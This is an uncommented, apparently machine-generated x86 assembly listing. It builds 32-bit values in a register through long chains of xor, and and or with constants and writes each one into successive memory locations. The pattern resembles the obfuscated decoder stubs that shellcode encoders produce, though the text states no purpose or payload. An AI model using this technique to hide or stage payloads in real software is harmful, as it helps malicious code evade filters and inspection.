mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38bf5298
and eax, 0x16a58b00
or eax, 0x20102020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2064e422
and eax, 0x6110400
or eax, 0xe82420d8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59b0401e
or eax, 0x3a256a8
and eax, 0xb023228c
or eax, 0x48000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7804bca2
and eax, 0x18a0c
or eax, 0x1f000081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7654114e
and eax, 0x1f04128c
or eax, 0x808a6010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a84d10
and eax, 0x215504c0
and eax, 0x40400
or eax, 0x9d985144
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29de6364
and eax, 0x9980144
or eax, 0xa6423402
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50a2a8ad
and eax, 0xb0322da6
or eax, 0x10000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x387dfdab
and eax, 0x6c231198
and eax, 0x8020008
or eax, 0x60b1a256
mov dword [ebx], eax
add ebx, ecx
or eax, 0x697fcc75
and eax, 0xd0a12a
and eax, 0x50a00a
or eax, 0xbd2c5f11
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x626fe34d
and eax, 0xc3031c16
or eax, 0xc022a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c0ef5a2
or eax, 0x3e2992e5
and eax, 0xbb28c738
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24a238b5
xor eax, 0x66478709
and eax, 0xf1c56800
or eax, 0x20006a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d26c414
and eax, 0x5ca04c5e
or eax, 0x1180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3eda0035
and eax, 0x202a042a
or eax, 0x8c842000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29c5b7bb
and eax, 0x3646bf52
and eax, 0x4400200
or eax, 0x222164ee
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1296ec2e
or eax, 0x38ffc88
and eax, 0x8d182e
or eax, 0x4600241
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74ac5ce8
and eax, 0x1c0f27e8
and eax, 0x10000000
or eax, 0xa946b946
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5389aad6
xor eax, 0x1811d8b6
and eax, 0x1113030
or eax, 0x70a20002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2530900
or eax, 0x7bab37c7
and eax, 0x78fb3c75
or eax, 0xc000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ab15c61
and eax, 0x4c29689e
and eax, 0x82014
or eax, 0xd1309bab
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3511fc43
and eax, 0x657a8325
and eax, 0x108001
or eax, 0x524322d4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a3f29ed
and eax, 0x54bcfdc9
and eax, 0x102081
or eax, 0xa748541c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30b4cd0c
and eax, 0x20100408
or eax, 0x50e9a350
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b11276d
xor eax, 0x31903206
and eax, 0x801406
or eax, 0xae222a81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x408d71
and eax, 0x2220a2a6
or eax, 0x1040c08
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f06fc0d
or eax, 0x65457db8
and eax, 0x1c204824
or eax, 0x80800040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e433cdc
xor eax, 0x24f809e6
and eax, 0x8180080
or eax, 0x9505ea1d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b0bb5b
and eax, 0xb3ed187
and eax, 0x3148082
or eax, 0x24c12020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xda4fe9c
xor eax, 0x6b66538d
and eax, 0x400109a0
or eax, 0x3e20a20c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fa9eb06
and eax, 0x3589082a
or eax, 0x541450
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21488a84
or eax, 0x3d0a5a0
and eax, 0x2018ac20
or eax, 0xc24501d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b2046fb
and eax, 0x8004428
or eax, 0xb7472a82
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe12ecf8
and eax, 0x6d751fb2
and eax, 0x2d140432
or eax, 0x1028d00d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27b9b86d
and eax, 0x5f9b0703
and eax, 0x10401
or eax, 0xc04240cc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e0bacab
and eax, 0x52080006
or eax, 0x820201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e270966
or eax, 0x75a6406d
and eax, 0x52a44020
or eax, 0x8402990
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe9691a
and eax, 0xa00810
or eax, 0xb818924a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45b9163
and eax, 0xbc391033
or eax, 0x41042400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38ffc906
and eax, 0x1335c73a
and eax, 0x340000
or eax, 0x610ab589
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7602da6d
and eax, 0x40008001
or eax, 0x1c6c6864
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5136d055
and eax, 0x1c1eb854
or eax, 0x82800408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c1cbb16
or eax, 0x5c512bb6
and eax, 0x1c1c2896
or eax, 0xa3204409
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b573835
and eax, 0xb5028
or eax, 0x19842050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ecb6591
or eax, 0x780f5856
and eax, 0x60874004
or eax, 0x87608521
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e6d0321
xor eax, 0xc59cb99
and eax, 0xb0d30810
or eax, 0x82cf062
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37981212
and eax, 0x98047030
or eax, 0x40000080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19b701fa
and eax, 0x30ef1936
and eax, 0x10040010
or eax, 0xa7fba841
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c9d2343
and eax, 0x1beab41
or eax, 0x40004004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33b5ce8f
and eax, 0x1ce64187
and eax, 0x10020182
or eax, 0x41719255
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cd0f26a
and eax, 0x6c804011
or eax, 0x80181840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d265680
and eax, 0xe02042c1
or eax, 0x241202a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1304c3ea
and eax, 0x2000020
or eax, 0x2dce2501
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ae43fb0
xor eax, 0x695600d4
and eax, 0x24040240
or eax, 0xc2024490
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36d63e90
and eax, 0x804644c0
or eax, 0x18004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x229781e4
and eax, 0x2dc9e8f5
and eax, 0x20410084
or eax, 0x8b160900
mov dword [ebx], eax
add ebx, ecx
or eax, 0x746081c
and eax, 0x87500898
or eax, 0x50805202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f4baa8d
or eax, 0x14d7d3b7
and eax, 0x2d599990
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3593bf14
and eax, 0x29d83304
or eax, 0x8204000b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fd97c52
and eax, 0xfa9671a
and eax, 0x318
or eax, 0xf378b8a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f7bf25f
and eax, 0x23303210
or eax, 0x508244e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69f71ea1
and eax, 0x5885808e
and eax, 0x40050080
or eax, 0xa120a333
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27f4ebf
and eax, 0x821900a0
or eax, 0x18801040
mov dword [ebx], eax
add ebx, ecx
and eax, 0xed5b0c5
and eax, 0x8911040
or eax, 0xb0268331
mov dword [ebx], eax
add ebx, ecx
and eax, 0x564ea219
xor eax, 0x5d658257
and eax, 0x4d010040
or eax, 0xa2889939
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c0d6e3f
and eax, 0x23806344
or eax, 0x4600020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1570d884
and eax, 0x2720ca24
or eax, 0x800c0401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11bd3c15
and eax, 0x1200001
or eax, 0x82814108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c6b43a2
xor eax, 0x785ea8dc
and eax, 0x30300880
or eax, 0x80800603
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ccd611b
and eax, 0x30000000
or eax, 0xcb40bf40
mov dword [ebx], eax
add ebx, ecx
or eax, 0x694ab5
and eax, 0x5cfae9d9
and eax, 0x4868e9d1
or eax, 0xa383022a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cb884f9
and eax, 0xda207e
and eax, 0x2002
or eax, 0x8185cfb9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5da06fe0
or eax, 0x2a66c514
and eax, 0xae628552
or eax, 0x1180080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f582519
and eax, 0x4b5aa502
or eax, 0x10000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4321a54b
xor eax, 0x32864542
and eax, 0x2ad9410b
or eax, 0xd1021a50
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dd0e502
or eax, 0x20cdcf9f
and eax, 0x4c440484
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a0a9762
and eax, 0x48000000
or eax, 0x273b6b33
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2265eb30
and eax, 0x443b6833
or eax, 0x8000040c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x247c1346
and eax, 0x4280000
or eax, 0xa1004911
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x570a6b09
or eax, 0x6c0297ad
and eax, 0x2e0085a1
or eax, 0x1454040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b9e7522
and eax, 0x3dfb1371
and eax, 0x21000020
or eax, 0x86d2160f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1800302d
and eax, 0xb2120600
or eax, 0x20d85d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45e46917
and eax, 0x8650745b
or eax, 0x8000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6af9abcd
or eax, 0x5a5cab86
and eax, 0x70717151
or eax, 0x1000020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d301519
xor eax, 0x2ec2754
and eax, 0x61503041
or eax, 0x10214130
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d1d5475
and eax, 0x48828064
and eax, 0x60
or eax, 0x71717111
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d25c25a
and eax, 0x60503121
or eax, 0x11214050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39e372a0
and eax, 0x4f4bd5e1
and eax, 0x1415020
or eax, 0x70302151
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f7dfca7
and eax, 0x71717171
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b2536de
and eax, 0x50504121
or eax, 0x21213050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x875d01c
xor eax, 0x2180ed70
and eax, 0x50004011
or eax, 0x21713160
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7fa17e81
and eax, 0x4e59dbba
and eax, 0x500130
or eax, 0x71217041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2dcb9006
xor eax, 0x1437d091
and eax, 0x40013160
or eax, 0x31704011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x152603af
xor eax, 0x27ad9d7e
and eax, 0x50506001
or eax, 0x21211170
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dcd6ce5
and eax, 0x61416061
or eax, 0x10301110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e31da6f
and eax, 0x1e177744
and eax, 0x10117140
or eax, 0x61600031
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bc3b53
and eax, 0x71414020
or eax, 0x303151
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b36db82
and eax, 0x2994199f
and eax, 0x21101111
or eax, 0x50616060
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70503635
and eax, 0x70503031
or eax, 0x1214140
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe0b77e5
and eax, 0x17161
or eax, 0x71700010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x217eb1fa
and eax, 0x1667e3bc
and eax, 0x10014000
or eax, 0x61703171
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b30d3f7
or eax, 0x31132796
and eax, 0x71317171
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e159716
and eax, 0x71717171
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ba23d1a
and eax, 0x71717171
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ffbeeaa
or eax, 0x16fba9ae
and eax, 0x10713171
or eax, 0x61004000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c4292d8
or eax, 0x57882e01
and eax, 0x51316121
or eax, 0x20401050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29eef462
or eax, 0xb8d4476
and eax, 0x51114171
or eax, 0x20603000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d772aee
xor eax, 0x5c901330
and eax, 0x10104021
or eax, 0x61613150
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2715e330
or eax, 0x71863eaf
and eax, 0x71603061
or eax, 0x114110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x228916c
xor eax, 0x1c888366
and eax, 0x10201000
or eax, 0x61516171
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xabeabfa
and eax, 0x71415001
or eax, 0x302170
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fa7c6e9
and eax, 0x41214061
or eax, 0x30503110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a2fa005
and eax, 0x30212001
or eax, 0x41505170
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51a8841e
and eax, 0x71717171
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7123a8d5
and eax, 0x1eda0790
and eax, 0x10500110
or eax, 0x61217061
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5eaa5e53
or eax, 0x20606ded
and eax, 0x21716161
or eax, 0x50001010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15991320
and eax, 0x60606051
or eax, 0x11111120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x658732da
xor eax, 0x54e8a9d0
and eax, 0x21115021
or eax, 0x50602150
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x584ce138
and eax, 0x3ac6811a
and eax, 0x20000000
or eax, 0x51717171
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77e884c4
or eax, 0x6ced2592
and eax, 0x60717131
or eax, 0x11000040
mov dword [ebx], eax
add ebx, ecx